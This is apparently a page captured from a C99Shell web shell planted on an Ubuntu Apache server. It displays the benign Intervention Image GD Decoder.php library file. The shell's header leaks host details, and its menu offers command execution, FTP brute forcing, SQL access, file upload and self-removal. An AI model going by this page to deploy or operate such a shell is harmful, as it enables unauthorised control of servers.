!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/intervention/image/src/Intervention/Image/Gd/   drwxr-xr-x
Free 13.27 GB of 57.97 GB (22.89%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Decoder.php (4.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Intervention\Image\Gd;

use 
Intervention\Image\Exception\NotReadableException;
use 
Intervention\Image\Exception\NotSupportedException;
use 
Intervention\Image\Image;

class 
Decoder extends \Intervention\Image\AbstractDecoder
{
    
/**
     * Initiates new image from path in filesystem
     *
     * @param  string $path
     * @return \Intervention\Image\Image
     */
    
public function initFromPath($path)
    {
        if ( ! 
file_exists($path)) {
            throw new 
NotReadableException(
                
"Unable to find file ({$path})."
            
);
        }

        
// get mime type of file
        
$mime finfo_file(finfo_open(FILEINFO_MIME_TYPE), $path);

        
// define core
        
switch (strtolower($mime)) {
            case 
'image/png':
            case 
'image/x-png':
                
$core = @imagecreatefrompng($path);
                break;

            case 
'image/jpg':
            case 
'image/jpeg':
            case 
'image/pjpeg':
                
$core = @imagecreatefromjpeg($path);
                if (!
$core) {
                    
$core= @imagecreatefromstring(file_get_contents($path));
                }
                break;

            case 
'image/gif':
                
$core = @imagecreatefromgif($path);
                break;

            case 
'image/webp':
            case 
'image/x-webp':
                if ( ! 
function_exists('imagecreatefromwebp')) {
                    throw new 
NotReadableException(
                        
"Unsupported image type. GD/PHP installation does not support WebP format."
                    
);
                }
                
$core = @imagecreatefromwebp($path);
                break;

            default:
                throw new 
NotReadableException(
                    
"Unsupported image type. GD driver is only able to decode JPG, PNG, GIF or WebP files."
                
);
        }

        if (empty(
$core)) {
            throw new 
NotReadableException(
                
"Unable to decode image from file ({$path})."
            
);
        }

        
$this->gdResourceToTruecolor($core);

        
// build image
        
$image $this->initFromGdResource($core);
        
$image->mime $mime;
        
$image->setFileInfoFromPath($path);

        return 
$image;
    }

    
/**
     * Initiates new image from GD resource
     *
     * @param  Resource $resource
     * @return \Intervention\Image\Image
     */
    
public function initFromGdResource($resource)
    {
        return new 
Image(new Driver$resource);
    }

    
/**
     * Initiates new image from Imagick object
     *
     * @param  Imagick $object
     * @return \Intervention\Image\Image
     */
    
public function initFromImagick(\Imagick $object)
    {
        throw new 
NotSupportedException(
            
"Gd driver is unable to init from Imagick object."
        
);
    }

    
/**
     * Initiates new image from binary data
     *
     * @param  string $data
     * @return \Intervention\Image\Image
     */
    
public function initFromBinary($binary)
    {
        
$resource = @imagecreatefromstring($binary);

        if (
$resource === false) {
             throw new 
NotReadableException(
                
"Unable to init from given binary data."
            
);
        }

        
$image $this->initFromGdResource($resource);
        
$image->mime finfo_buffer(finfo_open(FILEINFO_MIME_TYPE), $binary);

        return 
$image;
    }

    
/**
     * Transform GD resource into Truecolor version
     *
     * @param  resource $resource
     * @return bool
     */
    
public function gdResourceToTruecolor(&$resource)
    {
        
$width imagesx($resource);
        
$height imagesy($resource);

        
// new canvas
        
$canvas imagecreatetruecolor($width$height);

        
// fill with transparent color
        
imagealphablending($canvasfalse);
        
$transparent imagecolorallocatealpha($canvas255255255127);
        
imagefilledrectangle($canvas00$width$height$transparent);
        
imagecolortransparent($canvas$transparent);
        
imagealphablending($canvastrue);

        
// copy original
        
imagecopy($canvas$resource0000$width$height);
        
imagedestroy($resource);

        
$resource $canvas;

        return 
true;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0058 ]--